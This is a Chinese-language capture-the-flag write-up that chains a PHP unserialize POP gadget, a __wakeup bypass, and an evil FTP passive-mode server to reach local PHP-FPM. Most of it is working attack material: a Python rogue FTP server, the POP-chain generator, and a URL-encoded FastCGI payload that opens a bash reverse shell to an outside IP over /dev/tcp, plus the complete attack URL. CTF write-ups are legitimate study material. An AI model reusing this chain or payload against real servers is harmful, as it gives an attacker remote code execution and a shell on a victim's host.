陇原-php反序列化到ssrf打fpm

陇原战役-php反序列化到ssrf

发现有一个Hint类

1
2
3
4
5
6
7
8
9
10
11
12
13
class Hint {

public function __wakeup(){
$this->hint = "no hint";
}

public function __destruct(){
if(!$this->hint){
$this->hint = "phpinfo";
($this->hint)();
}
}
}

反序列化读取phpinfo();

1
2
3
4
5
6
class Hint {

}

echo serialize(new Hint());
// O:4:"Hint":0:{}

无法执行,这是因为__wakeup会比__destruct优先执行,所以我们要绕过这里的__wakeup,这里我们需要用“Serializable” 的特性绕过__wakeup,漏洞详情:https://bugs.php.net/bug.php?id=81151

就是将 O 改为 C:

1
C:4:"Hint":0:{}

payload

1
?code=C:4:"Hint":0:{}

查看phpinfo敏感信息,Server API是FPM/FastCGI

看到这里有file_put_contents

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class Bunny {

public function __toString()
{
if (Check::$str2) {
if(!$this->data){
$this->data = $_REQUEST['data'];
}
file_put_contents($this->filename, $this->data);
} else {
throw new Error("Error");
}
}
}

尝试结合file_put_contents配合ftp打内网(evil ftp),这里的原理如下:

由于我们可以运行 file_get_contents() 来查找任何东西,因此,可以运用 SSRF 常用的姿势,通过发送HTTP请求来扫描常用端口。

我们发现目标正在监听 9000 端口 / 正在运行着 PHP-FPM,我们可以进一步攻击 PHP-FPM。

众所周知,如果我们能向 PHP-FPM 发送一个任意的二进制数据包,就可以在机器上执行代码。这种技术经常与gopher://协议结合使用,curl支持gopher://协议,但file_get_contents却不支持。

另一个已知的允许通过 TCP 发送二进制数据包的协议是FTP,更准确的说是该协议的被动模式,即:如果一个客户端试图从FTP服务器上读取一个文件(或写入),服务器会通知客户端将文件的内容读取(或写)到一个有服务端指定的IP和端口上。而且,这里对这些IP和端口没有进行必要的限制。例如,服务器可以告诉客户端连接到自己的某一个端口,如果它愿意的话。

我们将使用 FTP 协议的被动模式让 file_get_contents() 在我们的服务器上下载一个文件,当它试图使用 file_put_contents() 把它上传回去时,我们将告诉它把文件发送到 127.0.0.1:9000。这样,我们就可以向目标主机本地的 PHP-FPM 发送一个任意的数据包,从而执行代码,造成SSRF了。

那么就使用 https://github.com/tarunkant/Gopherus 或者本地这个脚本进行攻击,如果是gopherus,命令为

1
python2 gopherus.py --exploit fastcgi
1
bash -c "bash -i >& /dev/tcp/81.70.59.112/2333 0>&1"

这里我们用本地的直接跑,改成外带flag

生成取

1
%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH104%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00h%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/81.70.59.112/7777%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

恶意ftp脚本

运行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# evil_ftp.py
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 7008))
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n') #STOR / (2)
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()

1
python3 ftp.py

构造 pop 链触发 Bunny 类中的file_put_contents

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
<?php

class Check {
public static $str1 = false;
public static $str2 = false;
}


class Esle {
public function __wakeup()
{
Check::$str1 = true;
}
}


class Hint {

public function __wakeup(){
$this->hint = "no hint";
}
//这里可以利用得到phpinfo(),前提是绕过__wakeup(),将O换为C即可绕过
public function __destruct(){
if(!$this->hint){ //为空才行
$this->hint = "phpinfo";
($this->hint)();
}
}
}


class Bunny {
//当一个对象被当作字符串对待的时候,会触发这个__toString()魔术方法
//比如$b = new Bunny();那么 echo $b; 就会调用__toString这个方法
public function __toString()
{
if (Check::$str2) {
if(!$this->data){
$this->data = $_REQUEST['data'];
}
//写入文件 但是题目把写文件的权限给删掉了,所以这个思路不通
//可以配合ftp打内网的fpm
file_put_contents($this->filename, $this->data);
} else {
throw new Error("Error");
}
}
}

class Welcome {
//当以调用函数的方式,调用一个对象时,__invoke函数会被自动调用
//比如$a = new Welcome(),那么进行 $a()的时候就会调用__invoke()函数
//而上述用法可以在Bypass中进行利用
public function __invoke()
{
Check::$str2 = true;
return "Welcome" . $this->username;
}
}

class Bypass {
public $aaa;

public function __destruct()
{
if (Check::$str1) {
//另str4为一个Welcome的类对象,这里作为函数调用了,就调用其__invoke()函数
($this->str4)();
} else {
throw new Error("Error");
}
}
}

$a = new Bypass();
$a->aaa = new Esle();
$a->str4 = new Welcome();
$a->str4->username = new Bunny();
$a->str4->username->filename = "ftp://aaa@81.70.59.112:7008/123";
echo urlencode(serialize($a));

/*
if (isset($_GET['code'])) {
unserialize($_GET['code']);
} else {
highlight_file(__FILE__);
}*/

作为函数调用时候 __invoke() 如($this->str)();

作为字符串 __toString() 如return echo

反序列化,得到

1
O%3A6%3A%22Bypass%22%3A2%3A%7Bs%3A3%3A%22aaa%22%3BO%3A4%3A%22Esle%22%3A0%3A%7B%7Ds%3A4%3A%22str4%22%3BO%3A7%3A%22Welcome%22%3A1%3A%7Bs%3A8%3A%22username%22%3BO%3A5%3A%22Bunny%22%3A1%3A%7Bs%3A8%3A%22filename%22%3Bs%3A31%3A%22ftp%3A%2F%2Faaa%4081.70.59.112%3A7008%2F123%22%3B%7D%7D%7D

在hackbar:

1
/?code=O%3A6%3A%22Bypass%22%3A2%3A%7Bs%3A3%3A%22aaa%22%3BO%3A4%3A%22Esle%22%3A0%3A%7B%7Ds%3A4%3A%22str4%22%3BO%3A7%3A%22Welcome%22%3A1%3A%7Bs%3A8%3A%22username%22%3BO%3A5%3A%22Bunny%22%3A1%3A%7Bs%3A8%3A%22filename%22%3Bs%3A31%3A%22ftp%3A%2F%2Faaa%4081.70.59.112%3A7008%2F123%22%3B%7D%7D%7D&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH104%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00h%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/81.70.59.112/7777%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00